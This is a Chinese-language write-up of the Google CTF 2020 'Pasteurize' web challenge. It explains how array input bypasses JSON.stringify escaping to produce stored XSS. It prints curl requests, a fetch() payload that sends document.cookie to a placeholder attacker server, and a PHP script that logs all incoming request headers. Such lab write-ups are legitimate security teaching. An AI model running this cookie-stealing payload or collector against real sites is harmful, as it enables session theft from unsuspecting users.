Google CTF 2020 - Pasteurize Writeup

前言

一年一度的 Google CTF 在昨天结束了(太菜了 只解出了一题)
但是觉得还是分享下思路比较好 Google CTF 有六大类型的的挑战

  • hardware (硬核 关于硬件的 题目就是底层的玩意或者 old school 的)
  • crypto (硬核 加密类 还要多说么)
  • pwn (更硬核 差不多就是底层的 比如 *kernel 之类的)
  • reversing (硬核 反编译 只会 ida 按F5的我哭了
  • web (这个还会一点 大概?)
  • sandbox (hardest 这个自动无视了 逃出沙盒什么的 也硬核)

所以,我这种技术不行的,硬核类的基本就算了,于是找 web 下手了。

Pasteurize

这题目也许就是 Google ctf 的 web 签到题了

开始

先看题目是什么

This doesn’t look secure. I wouldn’t put even the littlest secret in here. My source tells me that third parties might have implanted it with their little treats already. Can you prove me right?

其实看不出来大概方向是什么

我们打开题目提供的靶机站
https://pasteurize.web.ctfcompetition.com
得到源码
于是我们就得到了这个网页的源码
这时候题目的意思才终于知道了。。
https://pasteurize.web.ctfcompetition.com/source
https://p.huggy.moe/isaniwoxev.js (存档)
很明显就是叫我们审计代码,看看到底哪里有问题
作为 web 里面 easiest 的题目 这个源码注释是满满的

/* Just reCAPTCHA stuff. */
/* They say reCAPTCHA needs those. But does it? */
/* Just a datastore. I would be surprised if it's fragile. */
/* Who wants a slice? */
/* o/ */
/* \o/ [x] */
/* Make sure to properly escape the note! */
/* Share your pastes with TJMike🎤 */
/* No robots please! */
/* Make TJMike visit the paste */
/* This is my source I was telling you about! */
/* Let it begin! */

再结合 网页上的提示
直接注释叫我们 xss
就知道是个 xss 题目了,我们要让页面能执行自己想要的 js 然后分享给 TJMike ,TJMike 会打开我们 xss 过的页面,然后我们就可以获取到可能再 Cookie Referer User-Agent 之类的地方的 flag 了 而能注入的地方 就是 const note = “content”
所以我们知道了 我们要逃出 " 的引用 才能 xss 下去

审计代码

我们继续审计 source 首先注意到了 使用 < > " " 来逃出来是不太可能了 这里非常鸡贼地用了 JSON.stringify(unsafe) 作为过滤 " 的办法 闭合括号 " 不太可能了
也就是在输入字符串的情况下 怎么搞 都输出不了不被转义掉的 " 也就没法 xss 了 既然这样,有问题的代码在别处,我们再看看有什么

/* Make sure to properly escape the note! */

// 这边又是提示这是 xss 题目了

再看注释,我看到了这样的疑问句

提示
recaptcha (一个验证码服务)真的要这个么?

然后鸭子的结果是 这个配置可以让 post 接受数组的结果
🦆走

而我们知道,前面转义掉 " 的函数实际上就是 JSON.stringify 的结果,如果我传个数组进去 不就有 " 不会被转义,最后不就可以逃出来了?

构建请求

知道大概思路后 我们可以开始构建请求了(好在提交 note 不需要 recaptcha 分享给 TJMike 才要。
打开我们的 postman / postwoman / curl
最基本的玩法是这样的:

curl 'https://pasteurize.web.ctfcompetition.com/' -H 'Content-Type: application/x-www-form-urlencoded' --data-raw 'content=2333'

因为可以接受数组了 所以我们可以这样构建了

curl 'https://pasteurize.web.ctfcompetition.com/' -H 'Content-Type: application/x-www-form-urlencoded' --data-raw 'content[0]=2333'

content[0]=2333
"
说明思路对了,这样确实可以绕过对 " 的转义 并且由于 escape_string 函数的奇妙操作 我们得出了个没有开头结尾的 [] 的字符串
还是不懂?
我们模拟一下 " 是怎么生成的

> let a = []
undefined
> a[0] = '2333'
'23333'
> JSON.stringify(a)
'["2333"]' // 这里出现了没被转义的 " 但是还有 [] 不太行
> JSON.stringify(a).slice(1, -1)
'"23333"' // 骚操作 这样就刚好 ok 了

这里的单引号,去掉,就成了 “2333” 了 和上面图片的 const note = ““2333"”; 一样 ^ _ ^
好了,现在就可以操作了 经过一段时间的修改(中间改的就不放出来了 自己玩玩) 我修改出了最适合的 xss

alert(‘23333’)

获得 flag

比较好执行 xss 的样本构建出来了,接下来,我们就要去偷靶机在这个网站上存的东西了,我们可以让 js 手动发送请求出去,到我们的服务器上,获取 flag 到底藏在哪里
flag 一般会藏在 cookie 里面 header 里面
于是我们可以写个脚本来偷 flag,这里我使用了 php

#cat ctf.php
<?php
header('Access-Control-Allow-Origin: *');
file_put_contents('ctf/'.time(),json_encode($_SERVER));
print('ok!');

print 其实也不需要
然后 js 这边,我们用个 fetch 函数直接扔进去就好了,这是我构建的

content[0]=fetch('https://xxx/ctf.php?cookie=' + encodeURIComponent(document.cookie));//

于是 flag 就在 cookie 里面被我找到了

secret=CTF{Express_t0_Tr0ubl3s}

其他的 header 在这里可以参考

后记

由于自己实在太菜,Google ctf 只完成了这一题,而且还用了一个多小时才搞出来(还有摸鱼时间),明年大概会有进步把(立 flag 怕是明年直接一题都解不出来) 另外 由 UA 可以知道 靶机是跑了个 HeadlessChrome 的 具体 UA 是这样的

Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/85.0.4182.0 Safari/537.36

// 最后 也终于知道 TJMike 怎么 visit 的了 (源码 143 行 )